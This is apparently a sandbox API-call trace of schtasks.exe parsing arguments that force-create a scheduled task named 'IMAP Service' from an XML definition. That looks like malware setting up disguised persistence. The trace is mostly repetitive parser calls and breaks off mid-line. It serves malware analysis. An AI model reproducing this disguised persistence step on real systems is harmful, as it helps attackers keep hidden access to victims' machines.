RtlQueryPerformanceCounter () returned 0x1 [0175.852] GetModuleHandleA (lpModuleName=0x0) returned 0xc20000 [0175.852] __set_app_type (_Type=0x1) [0175.852] __p__fmode () returned 0x767131f4 [0175.852] __p__commode () returned 0x767131fc [0175.852] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc37881) returned 0x0 [0175.852] __wgetmainargs (in: _Argc=0xc49e6c, _Argv=0xc49e74, _Env=0xc49e70, _DoWildCard=0, _StartInfo=0xc49e80 | out: _Argc=0xc49e6c, _Argv=0xc49e74, _Env=0xc49e70) returned 0 [0175.852] _onexit (_Func=0xc40fe2) returned 0xc40fe2 [0175.852] _onexit (_Func=0xc40ff3) returned 0xc40ff3 [0175.852] _onexit (_Func=0xc41002) returned 0xc41002 [0175.852] _onexit (_Func=0xc4101e) returned 0xc4101e [0175.853] _onexit (_Func=0xc4103a) returned 0xc4103a [0175.853] _onexit (_Func=0xc41056) returned 0xc41056 [0175.853] _onexit (_Func=0xc41072) returned 0xc41072 [0175.853] _onexit (_Func=0xc4108e) returned 0xc4108e [0175.853] _onexit (_Func=0xc410aa) returned 0xc410aa [0175.853] _onexit (_Func=0xc410c6) returned 0xc410c6 [0175.853] _onexit (_Func=0xc410e2) returned 0xc410e2 [0175.853] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0175.853] WinSqmIsOptedIn () returned 0x0 [0175.853] SetLastError (dwErrCode=0x0) [0175.854] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0175.854] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0175.854] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0175.854] VerifyVersionInfoW (in: lpVersionInformation=0x14f85c, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x14f85c) returned 1 [0175.854] lstrlenW (lpString="") returned 0 [0175.854] SetThreadUILanguage (LangId=0x0) returned 0x409 [0175.854] SetLastError (dwErrCode=0x0) [0175.855] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.855] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e59c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0175.855] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x757a0000 [0175.855] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoSizeW") returned 0x757a19d9 [0175.855] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0175.856] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoW") returned 0x757a19f4 [0175.856] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x4e5bd0 | out: lpData=0x4e5bd0) returned 1 [0175.856] GetProcAddress (hModule=0x757a0000, lpProcName="VerQueryValueW") returned 0x757a1b51 [0175.856] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14f964, puLen=0x14f968 | out: lplpBuffer=0x14f964*=0x4e5f6c, puLen=0x14f968) returned 1 [0175.857] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.857] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14f94c | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0175.857] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14f974, puLen=0x14f970 | out: lplpBuffer=0x14f974*=0x4e5d98, puLen=0x14f970) returned 1 [0175.857] lstrlenW (lpString="schtasks.exe") returned 12 [0175.857] lstrlenW (lpString="schtasks.exe") returned 12 [0175.857] lstrlenW (lpString=".EXE") returned 4 [0175.857] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0175.857] lstrlenW (lpString="schtasks.exe") returned 12 [0175.857] lstrlenW (lpString=".EXE") returned 4 [0175.857] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.857] lstrlenW (lpString="schtasks") returned 8 [0175.857] _memicmp (_Buf1=0x4e4bf0, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.858] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.858] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0175.858] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0175.858] _vsnwprintf (in: _Buffer=0x4e65b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14f950 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0175.858] SetLastError (dwErrCode=0x0) [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="?") returned 1 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="create") returned 6 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="delete") returned 6 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="query") returned 5 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="change") returned 6 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="run") returned 3 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="end") returned 3 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] lstrlenW (lpString="showsid") returned 7 [0175.858] GetThreadLocale () returned 0x409 [0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0175.858] SetLastError (dwErrCode=0x0) [0175.858] SetLastError (dwErrCode=0x0) [0175.858] lstrlenW (lpString="/create") returned 7 [0175.858] lstrlenW (lpString="-/") returned 2 [0175.858] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.859] lstrlenW (lpString="?") returned 1 [0175.859] lstrlenW (lpString="?") returned 1 [0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] _vsnwprintf (in: _Buffer=0x4e4c38, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3 [0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.859] lstrlenW (lpString="|?|") returned 3 [0175.859] lstrlenW (lpString="|create|") returned 8 [0175.859] SetLastError (dwErrCode=0x490) [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.859] lstrlenW (lpString="|create|") returned 8 [0175.859] lstrlenW (lpString="|create|") returned 8 [0175.859] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0175.859] SetLastError (dwErrCode=0x0) [0175.859] SetLastError (dwErrCode=0x0) [0175.859] SetLastError (dwErrCode=0x0) [0175.859] lstrlenW (lpString="/f") returned 2 [0175.859] lstrlenW (lpString="-/") returned 2 [0175.859] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.859] lstrlenW (lpString="?") returned 1 [0175.859] lstrlenW (lpString="?") returned 1 [0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] lstrlenW (lpString="f") returned 1 [0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3 [0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.859] lstrlenW (lpString="|?|") returned 3 [0175.859] lstrlenW (lpString="|f|") returned 3 [0175.859] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0175.859] SetLastError (dwErrCode=0x490) [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] lstrlenW (lpString="create") returned 6 [0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] lstrlenW (lpString="f") returned 1 [0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.860] lstrlenW (lpString="|create|") returned 8 [0175.860] lstrlenW (lpString="|f|") returned 3 [0175.860] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0175.860] SetLastError (dwErrCode=0x490) [0175.860] lstrlenW (lpString="delete") returned 6 [0175.860] lstrlenW (lpString="delete") returned 6 [0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] lstrlenW (lpString="f") returned 1 [0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8 [0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.860] lstrlenW (lpString="|delete|") returned 8 [0175.860] lstrlenW (lpString="|f|") returned 3 [0175.860] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0175.860] SetLastError (dwErrCode=0x490) [0175.860] lstrlenW (lpString="query") returned 5 [0175.860] lstrlenW (lpString="query") returned 5 [0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] lstrlenW (lpString="f") returned 1 [0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7 [0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.860] lstrlenW (lpString="|query|") returned 7 [0175.860] lstrlenW (lpString="|f|") returned 3 [0175.860] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0175.860] SetLastError (dwErrCode=0x490) [0175.860] lstrlenW (lpString="change") returned 6 [0175.860] lstrlenW (lpString="change") returned 6 [0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] lstrlenW (lpString="f") returned 1 [0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8 [0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.860] lstrlenW (lpString="|change|") returned 8 [0175.860] lstrlenW (lpString="|f|") returned 3 [0175.860] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0175.860] SetLastError (dwErrCode=0x490) [0175.860] lstrlenW (lpString="run") returned 3 [0175.860] lstrlenW (lpString="run") returned 3 [0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] lstrlenW (lpString="f") returned 1 [0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5 [0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.860] lstrlenW (lpString="|run|") returned 5 [0175.860] lstrlenW (lpString="|f|") returned 3 [0175.860] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0175.860] SetLastError (dwErrCode=0x490) [0175.860] lstrlenW (lpString="end") returned 3 [0175.860] lstrlenW (lpString="end") returned 3 [0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.860] lstrlenW (lpString="f") returned 1 [0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5 [0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.861] lstrlenW (lpString="|end|") returned 5 [0175.861] lstrlenW (lpString="|f|") returned 3 [0175.861] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0175.861] SetLastError (dwErrCode=0x490) [0175.861] lstrlenW (lpString="showsid") returned 7 [0175.861] lstrlenW (lpString="showsid") returned 7 [0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] lstrlenW (lpString="f") returned 1 [0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9 [0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3 [0175.861] lstrlenW (lpString="|showsid|") returned 9 [0175.861] lstrlenW (lpString="|f|") returned 3 [0175.861] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0175.861] SetLastError (dwErrCode=0x490) [0175.861] SetLastError (dwErrCode=0x490) [0175.861] SetLastError (dwErrCode=0x0) [0175.861] lstrlenW (lpString="/f") returned 2 [0175.861] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0175.861] SetLastError (dwErrCode=0x490) [0175.861] SetLastError (dwErrCode=0x0) [0175.861] lstrlenW (lpString="/f") returned 2 [0175.861] SetLastError (dwErrCode=0x0) [0175.861] SetLastError (dwErrCode=0x0) [0175.861] lstrlenW (lpString="/tn") returned 3 [0175.861] lstrlenW (lpString="-/") returned 2 [0175.861] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.861] lstrlenW (lpString="?") returned 1 [0175.861] lstrlenW (lpString="?") returned 1 [0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] lstrlenW (lpString="tn") returned 2 [0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3 [0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.861] lstrlenW (lpString="|?|") returned 3 [0175.861] lstrlenW (lpString="|tn|") returned 4 [0175.861] SetLastError (dwErrCode=0x490) [0175.861] lstrlenW (lpString="create") returned 6 [0175.861] lstrlenW (lpString="create") returned 6 [0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] lstrlenW (lpString="tn") returned 2 [0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.861] lstrlenW (lpString="|create|") returned 8 [0175.861] lstrlenW (lpString="|tn|") returned 4 [0175.862] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0175.862] SetLastError (dwErrCode=0x490) [0175.862] lstrlenW (lpString="delete") returned 6 [0175.862] lstrlenW (lpString="delete") returned 6 [0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] lstrlenW (lpString="tn") returned 2 [0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8 [0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.862] lstrlenW (lpString="|delete|") returned 8 [0175.862] lstrlenW (lpString="|tn|") returned 4 [0175.862] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0175.862] SetLastError (dwErrCode=0x490) [0175.862] lstrlenW (lpString="query") returned 5 [0175.862] lstrlenW (lpString="query") returned 5 [0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] lstrlenW (lpString="tn") returned 2 [0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7 [0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.862] lstrlenW (lpString="|query|") returned 7 [0175.862] lstrlenW (lpString="|tn|") returned 4 [0175.862] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0175.862] SetLastError (dwErrCode=0x490) [0175.862] lstrlenW (lpString="change") returned 6 [0175.862] lstrlenW (lpString="change") returned 6 [0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] lstrlenW (lpString="tn") returned 2 [0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8 [0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.862] lstrlenW (lpString="|change|") returned 8 [0175.862] lstrlenW (lpString="|tn|") returned 4 [0175.862] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0175.862] SetLastError (dwErrCode=0x490) [0175.862] lstrlenW (lpString="run") returned 3 [0175.862] lstrlenW (lpString="run") returned 3 [0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] lstrlenW (lpString="tn") returned 2 [0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5 [0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.862] lstrlenW (lpString="|run|") returned 5 [0175.862] lstrlenW (lpString="|tn|") returned 4 [0175.862] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0175.862] SetLastError (dwErrCode=0x490) [0175.862] lstrlenW (lpString="end") returned 3 [0175.862] lstrlenW (lpString="end") returned 3 [0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] lstrlenW (lpString="tn") returned 2 [0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5 [0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.863] lstrlenW (lpString="|end|") returned 5 [0175.863] lstrlenW (lpString="|tn|") returned 4 [0175.863] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] lstrlenW (lpString="showsid") returned 7 [0175.863] lstrlenW (lpString="showsid") returned 7 [0175.863] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.863] lstrlenW (lpString="tn") returned 2 [0175.863] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.863] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9 [0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4 [0175.863] lstrlenW (lpString="|showsid|") returned 9 [0175.863] lstrlenW (lpString="|tn|") returned 4 [0175.863] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="/tn") returned 3 [0175.863] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="/tn") returned 3 [0175.863] SetLastError (dwErrCode=0x0) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="IMAP Service") returned 12 [0175.863] lstrlenW (lpString="-/") returned 2 [0175.863] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="IMAP Service") returned 12 [0175.863] StrChrIW (lpStart="IMAP Service", wMatch=0x3a) returned 0x0 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="IMAP Service") returned 12 [0175.863] SetLastError (dwErrCode=0x0) [0175.863] SetLastError (dwErrCode=0x0) [0175.863] lstrlenW (lpString="/xml") returned 4 [0175.863] lstrlenW (lpString="-/") returned 2 [0175.863] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0175.863] lstrlenW (lpString="?") returned 1 [0175.863] lstrlenW (lpString="?") returned 1 [0175.863] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.863] lstrlenW (lpString="xml") returned 3 [0175.863] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.863] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3 [0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.863] lstrlenW (lpString="|?|") returned 3 [0175.863] lstrlenW (lpString="|xml|") returned 5 [0175.863] SetLastError (dwErrCode=0x490) [0175.863] lstrlenW (lpString="create") returned 6 [0175.864] lstrlenW (lpString="create") returned 6 [0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] lstrlenW (lpString="xml") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8 [0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.864] lstrlenW (lpString="|create|") returned 8 [0175.864] lstrlenW (lpString="|xml|") returned 5 [0175.864] StrStrIW (lpFirst="|create|", lpSrch="|xml|") returned 0x0 [0175.864] SetLastError (dwErrCode=0x490) [0175.864] lstrlenW (lpString="delete") returned 6 [0175.864] lstrlenW (lpString="delete") returned 6 [0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] lstrlenW (lpString="xml") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8 [0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.864] lstrlenW (lpString="|delete|") returned 8 [0175.864] lstrlenW (lpString="|xml|") returned 5 [0175.864] StrStrIW (lpFirst="|delete|", lpSrch="|xml|") returned 0x0 [0175.864] SetLastError (dwErrCode=0x490) [0175.864] lstrlenW (lpString="query") returned 5 [0175.864] lstrlenW (lpString="query") returned 5 [0175.864] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] lstrlenW (lpString="xml") returned 3 [0175.864] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.864] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7 [0175.864] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|xml|") returned 5 [0175.864] lstrlenW (lpString="|query|") returned 7 [0175.864] lstrlenW (lpString="|xml|") returned 5 [0175.864] StrStrIW (lpFirst="|query|", lpSrch="|xml|") returned 0x0 [0175.864] SetLastError 